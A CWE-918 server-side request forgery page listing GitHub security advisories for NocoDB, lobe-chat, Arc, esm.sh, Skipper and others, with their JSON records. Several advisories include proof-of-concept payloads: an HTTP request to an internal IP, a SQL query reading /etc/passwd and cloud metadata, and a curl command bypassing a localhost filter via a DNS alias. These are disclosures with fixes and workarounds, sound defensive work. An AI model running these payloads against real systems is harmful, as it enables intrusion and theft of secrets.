Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-MX8Q-JQWM-85MV

Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2023-06-30 20:40
VLAI
Summary
NocoDB information disclosure vulnerability
Details

In NocoDB prior to 0.91.7, the SMTP plugin doesn't have verification or validation. This allows attackers to make requests to internal servers and read the contents.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.91.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-2062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-209",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-30T20:40:22Z",
    "nvd_published_at": "2022-06-13T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "In NocoDB prior to 0.91.7, the SMTP plugin doesn\u0027t have verification or validation. This allows attackers to make requests to internal servers and read the contents.",
  "id": "GHSA-mx8q-jqwm-85mv",
  "modified": "2023-06-30T20:40:22Z",
  "published": "2022-06-14T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/commit/a18f5dd53811b9ec1c1bb2fdbfb328c0c87d7fb4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/35593b4c-f127-4699-8ad3-f0b2203a8ef6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoDB information disclosure vulnerability"
}

GHSA-MX99-9J8J-FRC2

Vulnerability from github – Published: 2024-06-25 21:31 – Updated: 2024-08-21 15:30
VLAI
Details

In WhatsUp Gold versions released before 2023.1.3, an authenticated SSRF vulnerability in Wug.UI.Areas.Wug.Controllers.SessionControler.Update allows a low privileged user to chain this SSRF with an Improper Access Control vulnerability. This can be used to escalate privileges to Admin.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-25T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "In WhatsUp Gold versions released before 2023.1.3,\u00a0an authenticated SSRF vulnerability in Wug.UI.Areas.Wug.Controllers.SessionControler.Update allows a low privileged user to chain this SSRF with an Improper Access Control vulnerability. This can be used to escalate privileges to Admin.",
  "id": "GHSA-mx99-9j8j-frc2",
  "modified": "2024-08-21T15:30:49Z",
  "published": "2024-06-25T21:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5015"
    },
    {
      "type": "WEB",
      "url": "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024"
    },
    {
      "type": "WEB",
      "url": "https://www.progress.com/network-monitoring"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXC9-8CWJ-H23W

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Youzify Youzify youzify allows Server Side Request Forgery.This issue affects Youzify: from n/a through <= 1.3.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-69014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T11:15:59Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Youzify Youzify youzify allows Server Side Request Forgery.This issue affects Youzify: from n/a through \u003c= 1.3.5.",
  "id": "GHSA-mxc9-8cwj-h23w",
  "modified": "2026-01-20T15:32:45Z",
  "published": "2025-12-30T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69014"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/youzify/vulnerability/wordpress-youzify-plugin-1-3-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/youzify/vulnerability/wordpress-youzify-plugin-1-3-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXF6-4CFW-JJW8

Vulnerability from github – Published: 2026-03-31 09:31 – Updated: 2026-03-31 18:31
VLAI
Details

The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-31T07:16:12Z",
    "severity": "MODERATE"
  },
  "details": "The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks",
  "id": "GHSA-mxf6-4cfw-jjw8",
  "modified": "2026-03-31T18:31:30Z",
  "published": "2026-03-31T09:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3881"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/4b30421e-9848-45ce-87ab-0229d9d7df01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXHQ-XW3G-RPHC

Vulnerability from github – Published: 2024-05-10 15:29 – Updated: 2024-05-14 20:03
VLAI
Summary
lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability
Details

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/settings/agent
  • you can attack all internal services by /api/proxy and get the echo in http response :)

image

image

image

PoC

POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/

Impact

SSRF ,All users will be impacted.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.150.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.150.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-10T15:29:51Z",
    "nvd_published_at": "2024-05-14T15:37:18Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent  \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.",
  "id": "GHSA-mxhq-xw3g-rphc",
  "modified": "2024-05-14T20:03:54Z",
  "published": "2024-05-10T15:29:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32964"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
}

GHSA-MXX3-R9XG-4HF6

Vulnerability from github – Published: 2026-08-10 12:31 – Updated: 2026-08-10 12:31
VLAI
Details

A server-side request forgery (SSRF) vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The /auth endpoint in api/main.py uses the user-supplied url POST parameter to redirect to a Home Assistant instance without validating the destination URL, enabling internal network scanning and access to internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-72581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T11:17:31Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to make the Xiaomi smart speaker perform HTTP requests to arbitrary internal or external URLs. The /auth endpoint in api/main.py uses the user-supplied url POST parameter to redirect to a Home Assistant instance without validating the destination URL, enabling internal network scanning and access to internal services.",
  "id": "GHSA-mxx3-r9xg-4hf6",
  "modified": "2026-08-10T12:31:53Z",
  "published": "2026-08-10T12:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/duhow/xiaoai-patch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/duhow/xiaoai-patch/blob/main/api/main.py"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXXC-P822-2HX9

Vulnerability from github – Published: 2026-01-26 23:26 – Updated: 2026-01-29 03:24
VLAI
Summary
Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName
Details

Impact

When running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper's network access to reach internal services.

Patches

https://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.

Workarounds

Developers can allow list targets of an ExternalName by using -kubernetes-only-allowed-external-names=true and allow list via regular expressions -kubernetes-allowed-external-name '^[a-z][a-z0-9-.]+[.].allowed.example$'

References

https://kubernetes.io/docs/concepts/services-networking/service/#externalname

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T23:26:56Z",
    "nvd_published_at": "2026-01-26T23:16:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper\u0027s network access to reach internal services.\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.\n\n### Workarounds\n\nDevelopers can allow list targets of an ExternalName by using `-kubernetes-only-allowed-external-names=true` and allow list via regular expressions `-kubernetes-allowed-external-name \u0027^[a-z][a-z0-9-.]+[.].allowed.example$\u0027` \n\n### References\n\nhttps://kubernetes.io/docs/concepts/services-networking/service/#externalname",
  "id": "GHSA-mxxc-p822-2hx9",
  "modified": "2026-01-29T03:24:42Z",
  "published": "2026-01-26T23:26:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/a4c87ce029a58eb8e1c2c1f93049194a39cf6219"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.24.0"
    },
    {
      "type": "WEB",
      "url": "https://kubernetes.io/docs/concepts/services-networking/service/#externalname"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName"
}

GHSA-P2J4-C4G6-RPF5

Vulnerability from github – Published: 2026-06-08 23:51 – Updated: 2026-06-08 23:51
VLAI
Summary
Arc has an authenticated arbitrary local-file read via DuckDB I/O functions that bypasses RBAC table-level checks
Details

Summary

Arc's user-SQL validator (internal/api/query.go:ValidateSQLRequest) blocked only read_parquet( and arc_partition_agg( via regex denylist. The broader DuckDB I/O function family — read_csv_auto, read_csv, read_json, read_json_auto, read_text, read_blob, glob, parquet_metadata, parquet_schema, read_xlsx, etc. — was not blocked. RBAC table-reference extraction inspected only FROM/JOIN clauses, so scalar table functions in the SELECT list slipped past both layers.

Impact

Any authenticated user, including a token with permissions: [], can read arbitrary local files via:

POST /api/v1/query
Authorization: Bearer <token>
{"sql": "SELECT * FROM read_csv_auto('/etc/passwd', header=false, columns={'l':'VARCHAR'}) LIMIT 5"}

Confirmed reachable targets:

  • auth.db — bcrypt hashes for every API token, plus legacy SHA-256 rows.
  • arc.toml — S3 secrets, TLS keys.
  • /proc/self/environ — environment-variable secrets.
  • Cross-tenant Parquet files — bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.
  • SSRF when httpfs is loaded (any S3-backed deployment) — read_csv_auto('http://169.254.169.254/latest/meta-data/...') reaches instance metadata IPs.

Patches

Fixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:

  1. SET GLOBAL allowed_directories = [...] enumerates Arc's legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).
  2. SET GLOBAL enable_external_access = false (one-way at runtime).
  3. Verified by reading back the flag.

After lockdown, DuckDB refuses to open any file outside the allowlist and refuses further INSTALL/LOAD. Already-loaded extensions remain callable.

Workarounds

  • Restrict API access to known-trusted networks via firewall rules.
  • Temporary mitigation: add read_csv*/read_json*/glob etc. to dangerousSQLPattern in internal/api/query.go pending 2026.06.1.

Credits

Reported by Alex Manson (@NeuroWinter, https://neurowinter.com/) on 2026-05-19.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/basekick-labs/arc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260520141557-91bdc29d1a02"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:51:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nArc\u0027s user-SQL validator (`internal/api/query.go:ValidateSQLRequest`) blocked only `read_parquet(` and `arc_partition_agg(` via regex denylist. The broader DuckDB I/O function family \u2014 `read_csv_auto`, `read_csv`, `read_json`, `read_json_auto`, `read_text`, `read_blob`, `glob`, `parquet_metadata`, `parquet_schema`, `read_xlsx`, etc. \u2014 was not blocked. RBAC table-reference extraction inspected only `FROM`/`JOIN` clauses, so scalar table functions in the `SELECT` list slipped past both layers.\n\n### Impact\n\nAny authenticated user, including a token with `permissions: []`, can read arbitrary local files via:\n\n```\nPOST /api/v1/query\nAuthorization: Bearer \u003ctoken\u003e\n{\"sql\": \"SELECT * FROM read_csv_auto(\u0027/etc/passwd\u0027, header=false, columns={\u0027l\u0027:\u0027VARCHAR\u0027}) LIMIT 5\"}\n```\n\nConfirmed reachable targets:\n\n- `auth.db` \u2014 bcrypt hashes for every API token, plus legacy SHA-256 rows.\n- `arc.toml` \u2014 S3 secrets, TLS keys.\n- `/proc/self/environ` \u2014 environment-variable secrets.\n- Cross-tenant Parquet files \u2014 bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.\n- SSRF when `httpfs` is loaded (any S3-backed deployment) \u2014 `read_csv_auto(\u0027http://169.254.169.254/latest/meta-data/...\u0027)` reaches instance metadata IPs.\n\n### Patches\n\nFixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:\n\n1. `SET GLOBAL allowed_directories = [...]` enumerates Arc\u0027s legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).\n2. `SET GLOBAL enable_external_access = false` (one-way at runtime).\n3. Verified by reading back the flag.\n\nAfter lockdown, DuckDB refuses to open any file outside the allowlist and refuses further `INSTALL`/`LOAD`. Already-loaded extensions remain callable.\n\n### Workarounds\n\n- Restrict API access to known-trusted networks via firewall rules.\n- Temporary mitigation: add `read_csv*`/`read_json*`/`glob` etc. to `dangerousSQLPattern` in `internal/api/query.go` pending 2026.06.1.\n\n### Credits\n\nReported by Alex Manson ([@NeuroWinter](https://github.com/NeuroWinter), https://neurowinter.com/) on 2026-05-19.",
  "id": "GHSA-p2j4-c4g6-rpf5",
  "modified": "2026-06-08T23:51:19Z",
  "published": "2026-06-08T23:51:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/security/advisories/GHSA-p2j4-c4g6-rpf5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/pull/442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/commit/91bdc29d1a02178ccf8c66375eccf85203108dfb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Basekick-Labs/arc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arc has an authenticated arbitrary local-file read via DuckDB I/O functions that bypasses RBAC table-level checks"
}

GHSA-P2V6-84H2-5X4R

Vulnerability from github – Published: 2026-02-25 22:57 – Updated: 2026-03-02 16:40
VLAI
Summary
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
Details

Summary

An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).

Details

The vulnerable flow starts at the route handling user-controlled remote URLs:

  • server/router.go:532
  • Accepts paths beginning with /http:// or /https://. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()

    // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }


The internal-target block is string-based:

- `server/router.go:545`
 ```go
            // disallow localhost or ip address for production
            if !DEBUG {
                hostname := modUrl.Hostname()
                if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
                    ctx.SetHeader("Cache-Control", ccImmutable)
                    return rex.Status(400, "Invalid URL")
                }
            }

Localhost detection itself is limited to hostname patterns:

  • server/utils.go:72
  • isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.*.
  • It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
    return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}

Fetch proceeds with host-string allowlisting:

  • server/router.go:595-596
  • allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
  • internal/fetch/fetch.go:49
  • Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
    if c.allowedHosts != nil {
        if _, ok := c.allowedHosts[url.Host]; !ok {
            return nil, errors.New("host not allowed: " + url.Host)
        }
    }
    if c.userAgent != "" {
        if header == nil {
            header = make(http.Header)
        }
        header.Set("User-Agent", c.userAgent)
    }
    // ...
    return c.Do(req)
}

Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.

PoC

Reproduction tested on local Docker deployment.

  1. Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
  1. Run an internal localhost-only test service (secret response) in the same network namespace:
  2. Internal network test server code (app.py):
from flask import Flask, Response

@app.get('/secret.js')
def secret_js():
    return Response('secret;\n', mimetype='application/javascript')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5555)

Run the internal Python server container (same network namespace as esmsh-5558):

docker run -d --name internal-5555 --network container:esmsh-5558 \
  -v "<YOUR_PATH>/flask-internal:/app" -w /app \
  python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"

Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.

  1. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
  1. Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"

127.0.0.1 is blocked, image

but 127.0.0.1.nip.io bypasses the filter. image

This confirms external requesters can fetch internal localhost service content through esm.sh.

Impact

This is a Server-Side Request Forgery vulnerability (CWE-918).

Impacted: - Any esm.sh deployment exposing the /http(s) route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network.

Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:57:59Z",
    "nvd_published_at": "2026-02-25T16:23:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh\u2019s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- 